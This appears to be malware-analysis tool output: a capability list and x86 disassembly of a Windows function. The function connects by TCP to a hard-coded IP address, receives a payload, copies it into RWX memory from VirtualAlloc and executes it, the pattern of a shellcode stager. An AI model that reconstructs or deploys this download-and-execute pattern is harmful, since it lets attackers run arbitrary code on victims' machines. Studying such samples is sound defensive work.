Function at 0x401700
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4036bb
mov eax, dword fs:[0]
push eax
mov eax, 0x11c0
call fcn.004035c0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00401430
xorps xmm0, xmm0
mov dword [ebp - 0x1020], 0
lea ecx, [ebp - 0x1028]
movq qword [ebp - 0x1028], xmm0
call fcn.00401170
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x1024]
mov esi, dword [ebp - 0x1028]
cmp esi, edi
je 0x401811
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
add esi, 0x18
nop dword [eax + eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4042d0
call fcn.00401ca0
cmp dword [esi - 4], 0xf
lea edx, [esi - 0x18]
jbe 0x40179b
mov edx, dword [edx]
push dword [esi - 8]
mov ecx, eax
call fcn.00401f60
mov edx, dword [esi]
add esp, 4
mov ecx, dword [esi + 4]
shrd edx, ecx, 0x1e
shr ecx, 0x1e
push 0x401ec0
push ecx
push edx
mov edx, 0x4042c4
mov ecx, eax
call fcn.00401ca0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64__]
mov edx, 0x404220
mov ecx, eax
call fcn.00401ca0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [esi]
and eax, 0xc0000000
cmp dword [esi + 4], 1
ja 0x401803
jb 0x4017f9
cmp eax, 0x40000000
jae 0x401803
push 0
push 0
push 0
push 0
call ebx
add esi, 0x20
lea eax, [esi - 0x18]
cmp eax, edi
jne 0x401780
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x4042d8
push 0x401ec0
call fcn.00401ca0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
call fcn.00401350
lea eax, [ebp - 0x11c8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov eax, 2
push 0x49ad
mov word [ebp - 0x1038], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1036], ax
lea eax, [ebp - 0x1034]
push eax
push str.110.42.36.11
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x1038]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
xorps xmm0, xmm0
mov dword [ebp - 0x1014], 0
xor eax, eax
movq qword [ebp - 0x101c], xmm0
xor ebx, ebx
mov dword [ebp - 0x11cc], eax
xor edi, edi
mov dword [ebp - 0x101c], ebx
mov dword [ebp - 0x1018], edi
mov dword [ebp - 0x1014], eax
push eax
push 0x1000
lea eax, [ebp - 0x1010]
mov byte [ebp - 4], 1
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401931
mov ebx, dword [sym.imp.WS2_32.dll_recv]
nop word [eax + eax]
push eax
lea eax, [ebp - 0x1010]
push eax
push edi
lea ecx, [ebp - 0x101c]
call fcn.00402520
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call ebx
mov edi, dword [ebp - 0x1018]
test eax, eax
jg 0x4018f0
mov eax, dword [ebp - 0x1014]
mov ebx, dword [ebp - 0x101c]
mov dword [ebp - 0x11cc], eax
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x40
push 0x3000
sub edi, ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call esi
test ebx, ebx
je 0x401995
mov ecx, dword [ebp - 0x11cc]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x40198b
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40198b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push ebx
call fcn.00402760
add esp, 8
mov ecx, dword [ebp - 0x1028]
test ecx, ecx
je 0x4019e9
mov edx, dword [ebp - 0x1024]
push ecx
call fcn.00401ef0
mov ecx, dword [ebp - 0x1020]
add esp, 4
mov edx, dword [ebp - 0x1028]
sub ecx, edx
and ecx, 0xffffffe0
mov eax, edx
cmp ecx, 0x1000
jb 0x4019df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4019df
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402760
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402722
mov esp, ebp
pop ebp
ret